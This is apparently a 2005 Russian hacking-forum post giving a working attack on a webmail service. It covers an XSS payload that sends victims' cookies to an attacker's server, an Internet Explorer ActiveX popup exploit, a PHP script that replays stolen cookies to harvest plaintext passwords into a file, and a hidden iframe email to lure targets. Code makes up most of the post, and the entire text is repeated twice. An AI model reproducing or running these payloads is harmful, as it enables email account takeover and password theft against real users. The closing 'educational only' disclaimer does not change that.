Майор
07.04.2005, 00:28
Система там такая: Если пользователь при входе ставит галочку "запомнить” (что является обязательным условие взлома) и входит в ящик, то ему посылаются cookie, далее его перебрасывает в его ящик. При повторном заходе сервер, получив cookie, подставляет в поле с паролем собственно сам пароль в открытом виде. Следовательно, наша задача получить cookie.
Проблема заключается в том, что при попадании в ящик сервер перекидывает нас в домен типа www2.pochta.ru www3.pochta.ru и т.д. Значит, нам придётся использовать всплывающие окна:
1) На главной странице сервера присутствует xss-уязвимость:
http://hotbox.ru/info.php?"><script src=http://adres_skripta.js></script>
Сам скрипт может выглядеть так:
img=new Image();img.src="http://adres/skript.php?"+document.cookie;
2) Известно, что IE всплывающие окна не пропускает, поэтому нам придётся воспользоваться вот таким эксплойтом, открытым через iframe (popup.html)(поскольку система не фильтрует этот тег):
Что бы соблюсти синтаксис метода showModelessDialog(), сделаем редирект php скриптом(redirect.php):
<?
$url="http://www.pochta.ru/info.php?mid=\"><script%20src=http://adres_skripta.js></script><a";
header("Location: $url");
?>
<html><body onload="setTimeout(' main() ',1001)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.hotbox.ru/info.php?mid=\"\>\<script%20src=http://adres_skripta.js\>\</script\>\<a","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars =0,resizable=0,titlebar=0,width=1,height=1,top=1,l eft=999");
showModelessDialog("http://adres/redirect.php","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0; dialogLeft=900;dialogHide=0;help=0;status=0;resiza ble=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>
(здесь "www.hotbox.ru" нужно будет поменять на домен нужного ящика)
(Взял от сюда: http://www.xakep.ru/post/24994)
Получив cookie, мы посылаем их серверу скриптом skript.php, который в ответ получает страницу с паролем (в поле pass, в атребут value), для удобства он вырезает только содержимое тега form и сохраняет в файл form.html
<?
$req="GET /info.php?lng=ru&mid=logout HTTP/1.0\r\nReferer: http://hotbox.ru\r\nCookie: ".$QUERY_STRING."\r\nHost: pochta.ru\r\n\r\n";
$f=fsockopen("hotbox.ru", 80);
fwrite($f, $req);
$dt="";
while (!feof($f))
$dt.=fread($f, 1024);
$form1=strpos($dt,"<form");
$form2=strpos($dt,"</form>")+7;
$dlina=$form2-$form1;
$p=substr($dt,$form1,$dlina);
$f1=Fopen("./form.html","a+t");
flock($f1,LOCK_EX);
fwrite($f1,"{$p}<hr>");
echo "$p";
flock($f1,LOCK_UN);
fclose($f1);
fclose($f);
?>
Теперь напишем письмо пользователю в html формате:
<iframe FRAMEBORDER=0 src='http://adres/popup.html'></iframe>
Атрибут FRAMEBORDER используется для маскировки фрейма.
Из-за всплывающих окон уязвимость является броузерозависимой, проверялась в IE 6 sp2, Mozilla/5.0 (в Opere не работает)
P.S. ДАННАЯ ИНФОРМАЦИЯ НОСИТ ЧИСТО ПОЗНОВАТЕЛЬНЫЙ ХАРАКТЕР. НЕ ПРИМЕНЯЙТЕ ЕЁ.
Автор: Mayor
Проблема заключается в том, что при попадании в ящик сервер перекидывает нас в домен типа www2.pochta.ru www3.pochta.ru и т.д. Значит, нам придётся использовать всплывающие окна:
1) На главной странице сервера присутствует xss-уязвимость:
http://hotbox.ru/info.php?"><script src=http://adres_skripta.js></script>
Сам скрипт может выглядеть так:
img=new Image();img.src="http://adres/skript.php?"+document.cookie;
2) Известно, что IE всплывающие окна не пропускает, поэтому нам придётся воспользоваться вот таким эксплойтом, открытым через iframe (popup.html)(поскольку система не фильтрует этот тег):
Что бы соблюсти синтаксис метода showModelessDialog(), сделаем редирект php скриптом(redirect.php):
<?
$url="http://www.pochta.ru/info.php?mid=\"><script%20src=http://adres_skripta.js></script><a";
header("Location: $url");
?>
<html><body onload="setTimeout(' main() ',1001)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.hotbox.ru/info.php?mid=\"\>\<script%20src=http://adres_skripta.js\>\</script\>\<a","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars =0,resizable=0,titlebar=0,width=1,height=1,top=1,l eft=999");
showModelessDialog("http://adres/redirect.php","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0; dialogLeft=900;dialogHide=0;help=0;status=0;resiza ble=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>
(здесь "www.hotbox.ru" нужно будет поменять на домен нужного ящика)
(Взял от сюда: http://www.xakep.ru/post/24994)
Получив cookie, мы посылаем их серверу скриптом skript.php, который в ответ получает страницу с паролем (в поле pass, в атребут value), для удобства он вырезает только содержимое тега form и сохраняет в файл form.html
<?
$req="GET /info.php?lng=ru&mid=logout HTTP/1.0\r\nReferer: http://hotbox.ru\r\nCookie: ".$QUERY_STRING."\r\nHost: pochta.ru\r\n\r\n";
$f=fsockopen("hotbox.ru", 80);
fwrite($f, $req);
$dt="";
while (!feof($f))
$dt.=fread($f, 1024);
$form1=strpos($dt,"<form");
$form2=strpos($dt,"</form>")+7;
$dlina=$form2-$form1;
$p=substr($dt,$form1,$dlina);
$f1=Fopen("./form.html","a+t");
flock($f1,LOCK_EX);
fwrite($f1,"{$p}<hr>");
echo "$p";
flock($f1,LOCK_UN);
fclose($f1);
fclose($f);
?>
Теперь напишем письмо пользователю в html формате:
<iframe FRAMEBORDER=0 src='http://adres/popup.html'></iframe>
Атрибут FRAMEBORDER используется для маскировки фрейма.
Из-за всплывающих окон уязвимость является броузерозависимой, проверялась в IE 6 sp2, Mozilla/5.0 (в Opere не работает)
P.S. ДАННАЯ ИНФОРМАЦИЯ НОСИТ ЧИСТО ПОЗНОВАТЕЛЬНЫЙ ХАРАКТЕР. НЕ ПРИМЕНЯЙТЕ ЕЁ.
Автор: Mayor